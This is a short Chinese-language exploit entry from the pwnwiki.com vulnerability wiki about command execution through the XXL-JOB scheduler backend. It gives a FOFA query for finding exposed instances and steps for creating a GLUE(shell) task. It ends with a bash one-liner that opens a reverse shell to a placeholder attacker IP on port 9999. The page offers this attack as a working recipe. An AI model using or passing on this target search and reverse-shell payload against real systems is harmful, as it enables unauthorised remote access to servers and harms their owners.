Loading
◆◆0

XXL-JOB 任务调度中心 后台任意命令执行漏洞

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

FOFA

app="XXL-JOB" || title="任务调度中心"

漏洞利用

登录后台增加一个任务:

Xxl-4.png

注意运行模式需要为 GLUE(shell)

Xxl-5.png

点击 GLUE IDE编辑脚本

Xxl-6.png

Xxl-7.png

执行探测出网，和任务调用是否可执行

反弹一个shell 

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

参考

https://short.pwnwiki.org/?c=PaRcxf

PWNWIK.COM